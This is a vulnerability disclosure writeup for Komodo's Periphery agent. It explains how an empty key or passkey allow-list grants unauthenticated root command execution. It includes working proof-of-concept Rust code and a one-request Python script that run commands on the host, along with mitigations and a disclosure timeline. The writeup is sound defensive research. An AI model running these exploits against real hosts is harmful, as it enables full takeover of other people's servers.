TL;DR
Komodo is a popular open-source tool for building and deploying software and managing servers and Docker hosts. Each managed host runs an agent called Periphery, which listens on TCP port 8120 and takes orders from the central Core: start containers, build images, bring up Compose stacks, open a shell.
If you start Periphery the way the quick-install path leaves it — with no
core_public_keys and no passkeys configured — it authorizes anyone. The
key-check function returns true for any key when its allow-list is empty, and
the handshake Periphery uses (Noise_XX) lets a complete stranger finish the
handshake with a key they generated five seconds ago. No password, no token, no
pre-shared secret.
The result is unauthenticated remote code execution as root on every host
running an exposed, keyless Periphery. I confirmed it end-to-end against the
current v2.x release by opening a host shell with a throwaway key and running
id — uid=0(root).
This isn’t a v2-only bug. The v1.x line uses a completely different transport (plain HTTP with a passkey header, no Noise handshake at all), but the exact same root cause — an empty allow-list is treated as “allow everyone” instead of “allow no one” — is present there too, just in a different function. The published CVE record reflects this: the affected range is every release through 2.3.3, not just the v2.x line.
- Affected: Komodo Periphery, all releases through v2.3.3 (current latest at time of writing)
- Impact: Unauthenticated RCE on the Periphery host — CVSS 3.1 9.8 Critical (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), CVSS 4.0 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) - Weakness: CWE-1188 (Insecure Default Initialization of Resource), CWE-306 (Missing Authentication for Critical Function)
- Fix if you run Komodo today: set
core_public_keys/passkeys(v2.x) orpasskeys(v1.x), and don’t expose 8120 to untrusted networks. Details at the end.
Background: how Komodo talks to its hosts
Komodo has two halves:
- Core — the brain. The web UI and API you log into. It stores your servers, stacks, builds, and schedules.
- Periphery — the hands. A small agent you install on every host you want Komodo to manage. Core connects out to each Periphery agent and tells it what to do.
Periphery is powerful by design. The whole point is for it to run Docker commands, write Compose files, build images, and — this is the part that turns a “trust boundary” bug into an “RCE” bug — open host-level terminals. Not container shells. Shells on the machine itself, spawned directly through a PTY, no Docker required.
So the only thing standing between the internet and a root shell on your host is: does Periphery correctly decide who is allowed to be “Core”?
The handshake
In v2.x, Periphery authenticates Core with a Noise protocol mutual
handshake — specifically Noise_XX_25519_ChaChaPoly_BLAKE2s. Noise is a
well-regarded, modern cryptographic framework (it’s what WireGuard is built
on), so at first glance this looks reassuringly solid.
The important detail is the XX in the pattern name. In Noise, the two
letters describe when each side reveals its static public key. XX means
both parties transmit their static keys during the handshake. Neither
side needs to know the other’s key in advance to complete it.
That’s a perfectly valid choice — XX is designed for exactly the case where
you don’t have the peer’s key ahead of time. But it moves all of the trust
decision to after the handshake: the handshake itself will happily complete
with anyone. Security depends entirely on what you do with the key once you
have it — you have to check it against a list of keys you actually trust.
Which brings us to the bug.
The vulnerability
After the handshake, Periphery checks the static public key the client
presented against its configured set of allowed Core keys. Here is that check,
in bin/periphery/src/state.rs (all line references are against the v2.3.3
tag):
// bin/periphery/src/state.rs:82
pub async fn is_valid(&self, public_key: &str) -> bool {
self.maybe_write(public_key).await;
let keys = self.keys.load();
keys.is_empty() || keys.iter().any(|pk| pk.as_str() == public_key)
}
Look at the return expression:
keys.is_empty() || keys.iter().any(|pk| pk.as_str() == public_key)
If the allow-list has any keys in it, this does the right thing: the presented
key has to match one of them. But if the list is empty, keys.is_empty()
short-circuits the whole expression to true — before the actual key ever
gets compared to anything. An empty allow-list means everyone is allowed.
This is fail-open. The safe behavior for an empty allow-list is “trust no one”; this code does the opposite.
When is the list empty?
By default. On a fresh install, if you don’t explicitly configure keys:
server_enabled()defaults totruewhencore_addressesis empty — i.e. the inbound control server is on out of the box (client/core/rs/src/entities/config/periphery.rs:591).- With
core_public_keysunset, the config spec returnsNone, so the refresh routine early-returns and the key list is simply never populated (.../periphery.rs:599,bin/periphery/src/state.rs). handle_login’s match on(&config.core_public_keys, &config.passkeys)routes the(None, None)case straight into the Noise_XX branch (bin/periphery/src/connection/server.rs:157).
So the default, do-nothing configuration gives you: server on, allow-list
empty, handshake that anyone can complete, check that returns true for
anyone. Every link in the chain points the same direction — open.
The chain to code execution
Being authorized as “Core” isn’t the finish line; it’s the starting line. An
authorized client can send any PeripheryRequest. The one I used for the proof
of concept is the terminal API:
CreateServerTerminalspawns a real OS process on the host viaportable_pty::native_pty_system()/CommandBuilder(bin/periphery/src/terminal.rs). This is a host shell, not a container shell — it works even if no Docker socket is mounted.ExecuteTerminalwrites an attacker-supplied command to that process’s stdin and streams stdout back over the same channel (bin/periphery/src/api/terminal.rs).
The same authorized channel also accepts RunContainer, Build,
WriteComposeContentsToHost + ComposeUp, and ComposeExecution — so even
without the terminal API, an attacker has several roads to code execution. The
terminal is just the most direct one.
“Isn’t this documented?” — the honest part
I want to address this head-on, because it’s the first objection a maintainer or a sharp reader will raise, and leaving it out would make the whole writeup look cherry-picked.
Yes, the mechanism is documented. The shipped config reference carries this
comment on core_public_keys:
“If neither these nor passkeys provided, inbound connections will not be authenticated.”
That’s accurate and vendor-authored. So why is this still a vulnerability worth a CVE, and not just “you held it wrong”? Four reasons:
It’s fine print no fresh install encounters. That comment lives in the TOML config reference and in the v2.0.0 upgrade notes aimed at people migrating from v1. Someone following the quick-install path for a new deployment never crosses it.
The install script is silent.
scripts/setup-periphery.py, the documented quick-install path, prints no warning when its--core-public-keysflag is omitted.The runtime is silent. The agent logs its entire parsed configuration at startup, but emits no warning that it is, right now, accepting unauthenticated inbound connections. You have to know to read the struct dump and notice
core_public_keys: None.The codebase already disagrees with itself. This is the clincher. If you configure
core_public_keysto point at a key file and that file is missing, Periphery logs an error and callsstd::process::exit(1)— it refuses to start unauthenticated (bin/periphery/src/state.rs:118-158). The maintainers already decided that one flavor of “I can’t authenticate Core” is unacceptable at any cost. But the strictly more exposed case — no key configured at all, no administrative intent to require one — fails open with no guard and no warning.
That asymmetry is, to me, what turns “insecure default” from an opinion into a defect. The project’s own code treats a less-dangerous misconfiguration as fatal while letting a more-dangerous one slide silently. Make those two cases consistent and the bug disappears.
This is a textbook CWE-1188 (Insecure Default Initialization) on top of CWE-306 (Missing Authentication for a Critical Function).
The same bug, a different architecture: v1.x
Komodo’s v1.x line doesn’t use the Noise handshake at all — it’s plain HTTP,
guarded by a passkey middleware. But the logic has the identical shape. In
bin/periphery/src/api/router.rs (v1.19.5 tag):
// bin/periphery/src/api/router.rs:82
async fn guard_request_by_passkey(
req: Request<Body>,
next: Next,
) -> serror::Result<Response> {
if periphery_config().passkeys.is_empty() {
return Ok(next.run(req).await);
}
// ...only reached if passkeys is non-empty...
}
Empty passkeys (the default — nothing generates one for you) means the
middleware waves every request through before it even looks for an
authorization header. The sibling IP-allowlist guard in the same file has
the same shape:
async fn guard_request_by_ip(req: Request<Body>, next: Next) -> serror::Result<Response> {
if periphery_config().allowed_ips.is_empty() {
return Ok(next.run(req).await);
}
// ...
}
Both are instances of the exact pattern from the Noise-based v2.x check above:
“empty list” read as “no restriction” instead of “no one is trusted yet.”
Since the guarded handler deserializes and directly .resolve()s a
PeripheryRequest — the same request type that drives container ops and
terminal execution in v2.x — a default v1.19.5 install is reachable the same
way, with less work for the attacker: no handshake, just an HTTP POST.
I confirmed this live against a real v1.19.5 container, with a one-request exploit that’s even simpler than the v2.x handshake-based PoC — see “Proof of concept: v1.x” below.
Proof of concept
I built a standalone PoC that reproduces the whole thing — auth bypass and a
real command on the host — against the actual published release. It needs no
clone of the Komodo repo: its dependencies are pinned to the v2.3.3 tag via
git in Cargo.toml, so cargo build fetches the exact source this writeup
cites.
Crucially, it reuses Komodo’s own client login code
(transport::auth::ClientLoginFlow) completely unmodified. The only input that
differs from a legitimate Core is the private key — generated fresh at random
on every run, never seen by Periphery or Core. That’s the point: I’m not
exploiting a custom client; I’m being a textbook-correct Core with a key I made
up on the spot, and Periphery welcomes me in.
⚠️ Run this only against an instance you own, on an isolated host, with port 8120 bound to loopback. Don’t point it at anything you don’t control.
A note on image tags
ghcr.io/moghtech/komodo-periphery:latest currently resolves to v1.19.5 —
the older HTTP + passkey architecture, not the Noise_XX handshake described
above. That doesn’t mean :latest is safe: as shown in “The same bug, a
different architecture” above, v1.19.5’s passkey guard fails open the same
way when passkeys is unset. It just means the mechanism differs and the
PoC below — built against v2.x’s Noise_XX login flow — won’t talk to a v1.x
instance. This PoC specifically targets :2.3.3 (or :2); it is not a
test of the v1.x line.
Step 1 — Start a keyless Periphery (the default state)
docker run -d --name komodo-periphery-poc \
-p 127.0.0.1:8120:8120 \
ghcr.io/moghtech/komodo-periphery:2.3.3
The startup log confirms the vulnerable state — note that the process neither exits nor warns:
PeripheryConfig { ... core_public_keys: None, passkeys: None ... }
Server starting on https://[::]:8120
Step 2 — Build and run the PoC
The PoC crate (Cargo.toml + src/main.rs) is laid out below. Build and run it:
cd poc
cargo build --release
./target/release/poc 127.0.0.1:8120
Observed output:
[*] Target Periphery (attacker-reachable, no creds): 127.0.0.1:8120
[*] Generated fresh, never-seen-before attacker keypair (no pre-shared secret).
[*] Performing Noise_XX mutual handshake (Core's own login code, unmodified)...
[+] AUTH BYPASS CONFIRMED: Periphery accepted our never-before-seen key as an
authorized Core with ZERO credentials.
[*] Creating host-level terminal via CreateServerTerminal...
-> {"name":"poc","target":{"type":"Server","params":{"server":null}},"command":"bash", ...}
[*] Executing on the HOST (not a container): `id && hostname && whoami`
[+] REMOTE CODE EXECUTION CONFIRMED -- command ran on the Periphery HOST with
ZERO credentials. Raw stdout:
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
902b3601c0ef
root
----------------------------------------
uid=0(root). On the host. With a key I generated at runtime and no
credentials of any kind. I reproduced this on three separate runs, each with a
freshly generated key, each returning real output from the host.
The PoC deliberately runs only id && hostname && whoami — read-only,
non-destructive, no writes, no container mutation, no persistence. It proves
code execution without touching anything.
Step 3 — Negative control (prove it’s the empty list, not broken crypto)
Start a second instance with a real key configured, and point the same PoC at it:
docker run -d --name komodo-periphery-control \
-p 127.0.0.1:8121:8120 \
-e PERIPHERY_CORE_PUBLIC_KEYS="<a real SPKI base64 public key>" \
ghcr.io/moghtech/komodo-periphery:2.3.3
./target/release/poc 127.0.0.1:8121
The throwaway key is correctly rejected:
Error: Login failed -- this Periphery is NOT vulnerable (core_public_keys/
passkeys are configured and rejected our key)
Caused by:
3: Ensure public key matches one of the 'core_public_keys' in periphery
config (PERIPHERY_CORE_PUBLIC_KEYS)
4: <our key> is invalid
Same binary, same code, same handshake — the only difference is a non-empty
allow-list. This isolates the defect precisely to the empty-list path. The Noise
handshake and key validation are fine; the bug is the keys.is_empty() || ...
short-circuit.
Step 4 — Contrast with the existing fail-closed guard
To show the inconsistency from Section “the honest part” concretely — point
core_public_keys at a file that doesn’t exist:
docker run -d --name komodo-periphery-missing-file \
-p 127.0.0.1:8122:8120 \
-e PERIPHERY_CORE_PUBLIC_KEYS="file:/config/keys/does-not-exist.pub" \
ghcr.io/moghtech/komodo-periphery:2.3.3
docker logs komodo-periphery-missing-file
Periphery logs an error and exits. This is the guard the keyless case is missing — the project already knows how to fail closed; it just doesn’t do it for the most exposed configuration.
The PoC source
poc/Cargo.toml:
[package]
name = "periphery_authbypass_poc"
version = "0.1.0"
edition = "2024"
[[bin]]
name = "poc"
path = "src/main.rs"
# Pinned to the exact affected release tag so the PoC builds against the same
# source this writeup cites. No local clone needed -- cargo fetches everything.
[dependencies]
transport = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "transport" }
periphery_client = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "periphery_client" }
komodo_client = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "komodo_client" }
encoding = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "encoding" }
mogh_pki = "1.1.3"
tokio = { version = "1", features = ["full"] }
uuid = { version = "1", features = ["v4"] }
rand = "0.10"
anyhow = "1"
serde_json = "1"
The key idea in src/main.rs is this validator, which is where “trust nobody”
becomes “trust the server unconditionally” on our side — because we don’t
care who Periphery is, only whether it authorizes us:
struct AcceptAnyServerKey;
impl PublicKeyValidator for AcceptAnyServerKey {
type ValidationResult = ();
async fn validate(&self, _public_key: String) -> anyhow::Result<()> {
Ok(())
}
}
…and then the login call that uses Komodo’s own flow with a random key:
// Generate a brand-new, never-registered X25519 keypair -- our only "credential".
let raw: [u8; 32] = rand::rng().random();
let private_key = mogh_pki::Pkcs8PrivateKey::from_raw_bytes(&raw)?;
// Run Komodo's OWN unmodified client-side Noise_XX login flow.
ClientLoginFlow::login(LoginFlowArgs {
identifiers,
private_key: private_key.as_str(),
public_key_validator: AcceptAnyServerKey,
should_close: true,
socket: &mut socket,
})
.await?;
// If this returns Ok, Periphery just authorized a key we invented at runtime.
From there it’s two requests — CreateServerTerminal then ExecuteTerminal —
and read the PTY stream back. The full source accompanies this post.
Proof of concept: v1.x
The v1.x line doesn’t need a crypto handshake, generated keypairs, or even a
custom client — just one unauthenticated HTTP POST. v1.19.5’s PeripheryRequest
enum includes a RunCommand variant that shells out directly via
run_komodo_command(), and the guard_request_by_passkey middleware that’s
supposed to gate it fails open when passkeys is empty (the default).
⚠️ Same rules as above: run this only against an instance you own, on an isolated host, with port 8120 bound to loopback.
Step 1 — Start a keyless v1.x Periphery (the default state)
docker run -d --name komodo-periphery-v1-poc \
-p 127.0.0.1:8120:8120 \
ghcr.io/moghtech/komodo-periphery:1.19.5
The startup log confirms the vulnerable state:
PeripheryConfig { ... allowed_ips: ForgivingVec([]), passkeys: [], ... ssl_enabled: true, ... }
Komodo Periphery starting on https://[::]:8120
(Periphery serves HTTPS with a self-signed cert by default — that’s unrelated
to this bug, just a detail that trips up a plain http:// request.)
Step 2 — Run the PoC
# poc_v1_runcommand.py — minimal, stdlib-only
import ssl, json, urllib.request
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
body = {"type": "RunCommand",
"params": {"command": {"path": "", "command": "id && hostname && whoami"}}}
req = urllib.request.Request(
"https://127.0.0.1:8120/",
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json"},
# Deliberately NO Authorization header.
)
print(json.loads(urllib.request.urlopen(req, context=ctx).read()))
python3 poc_v1_runcommand.py 127.0.0.1:8120
Observed output (three separate runs, same result every time):
[*] Target Periphery (v1.x, attacker-reachable, no creds): 127.0.0.1:8120
[*] Sending POST / with type=RunCommand, ZERO Authorization header...
[*] Command: id && hostname && whoami
[+] AUTH BYPASS + RCE CONFIRMED: Periphery executed our command
with ZERO credentials of any kind -- no key, no token, no
handshake. Raw response:
{
"stage": "run command",
"command": "id && hostname && whoami\n",
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n400468e586d5\nroot\n",
"stderr": "",
"success": true,
"start_ts": 1791990546166,
"end_ts": 1791990546177
}
uid=0(root), on the host, from one HTTP POST with no credentials of any
kind. 3/3 runs succeeded, byte-identical result each time.
Step 3 — Negative control
Same image, a passkey configured, same request:
docker run -d --name komodo-periphery-v1-poc-control \
-p 127.0.0.1:8121:8120 \
-e PERIPHERY_PASSKEYS="some-real-passkey-value" \
ghcr.io/moghtech/komodo-periphery:1.19.5
python3 poc_v1_runcommand.py 127.0.0.1:8121
[-] Request rejected (401): {"error":"request was not sent with passkey","trace":[]}
Cleanly rejected. Same binary, same RunCommand path — the only difference
is a non-empty passkeys list. This isolates the defect to the empty-list
case exactly as the v2.x negative control did for the Noise_XX path.
The full PoC script accompanies this post.
Impact
If you can reach TCP 8120 on a host running a keyless Periphery, you get:
- Arbitrary command execution on the host, as whatever user Periphery runs as — root in a default container deployment.
- Full control of every container and Compose stack on that host.
- Access to the Docker socket where it’s mounted, which is itself a well-known path to host root.
- A pivot point into whatever network the host sits on — lateral movement to other managed hosts and stacks.
In short: one reachable, unconfigured Periphery = full compromise of that host and everything it runs.
Real-world exposure comes down to two questions: is 8120 reachable by an attacker, and did the operator configure keys? The CVSS 9.8 reflects the default, vulnerable configuration. If you’ve set keys, or firewalled the port to only your Core, you’re not exposed — which is also the fix.
If you run Komodo, do this now
You don’t need to wait for a patch to be safe. Any one of these closes the exposure; do as many as you can:
- Set
core_public_keys(orpasskeys) on every Periphery agent. This is the real fix — it turns the allow-list non-empty, and the negative control above proves it rejects strangers. Use the value your Core presents. - Don’t expose 8120. Bind it to the interface your Core reaches it on, and firewall it off from the public internet. Core → Periphery is the only traffic that port should ever see.
- Audit what’s already listening. If you have Periphery agents on the public internet with no keys set, treat them as potentially compromised, not just vulnerable — rotate anything reachable from those hosts.
What I think the fix should be
Make the two cases consistent. The project already fails closed when a configured key file is missing; it should do the same when the inbound server is enabled with no keys at all:
- Fail closed at startup — if the server is enabled and neither
core_public_keysnorpasskeysis set, log an error and exit, exactly like the missing-file path instate.rs::refresh(). - Defense in depth — have
is_validreject on an empty list for the inbound direction instead of accepting, and consider defaultingallowed_ipsto loopback/private ranges. - If backward compatibility demands keeping the open default, at the very
least emit a loud runtime warning whenever the server starts with an empty
allow-list — and have
setup-periphery.pyprint the same when--core-public-keysis omitted. A fine-print config comment isn’t enough for a default that hands out root. - Apply the same fix to v1.x.
guard_request_by_passkeyandguard_request_by_ipinbin/periphery/src/api/router.rsshare the identical empty-list-means-allow-all shape and need the same fail-closed treatment — this isn’t a v2-only defect.
Disclosure timeline
- 2026-10-07 — Reported to VulnCheck (CNA) for coordinated disclosure.
Komodo has no
SECURITY.mdor bug bounty program, so VulnCheck was the appropriate channel. Submission IDee91c845-…. - 2026-10-12 — VulnCheck validated the finding as a valid security primitive eligible for CVE assignment, and requested a public reference to proceed with CVE publication.
- 2026-10-13 — Public reference established: GitHub issue
moghtech/komodo#1690.
VulnCheck also corrected the affected-version range at this stage — my
original report said v1.x was unaffected; VulnCheck identified that
guard_request_by_passkeyin v1.19.5 fails open the same way, so the record correctly starts at version 0, not v2.0.0. - 2026-10-14 —
CVE-2026-110631reserved (13:07 UTC) and published (14:17 UTC) by VulnCheck. See the VulnCheck advisory and the official CVE record. - 2026-10-14 — This writeup published. As of publication the GitHub issue is still open with no maintainer response; I’ll update this post when a fix or acknowledgment lands.
Takeaways
A few things I’ll carry forward from this one:
- “Empty list” is a trap in allow-list code.
list.is_empty() || contains(x)reads as harmless until you realize the empty case means allow all. If you’re writing an authorization check, the empty allow-list should almost always be the most restrictive case, not the least. - A good cryptographic primitive doesn’t save a bad trust decision. Noise_XX is excellent. It also completes with anyone by design — the security was always in the post-handshake key check, and that’s exactly where it broke.
- Your own code is the best witness. The single most convincing part of this report wasn’t the PoC — it was pointing out that the project already fails closed for a less dangerous case. When a codebase is inconsistent with itself about what’s acceptable, the more-dangerous side of that inconsistency is usually a real bug.
Thanks to the VulnCheck team for the coordinated-disclosure help, and to the Komodo maintainers for building a genuinely useful tool — insecure-default bugs like this are easy to ship and easy to fix, and I hope this makes the project a little safer.
— Ravindu Lakmina Munaweera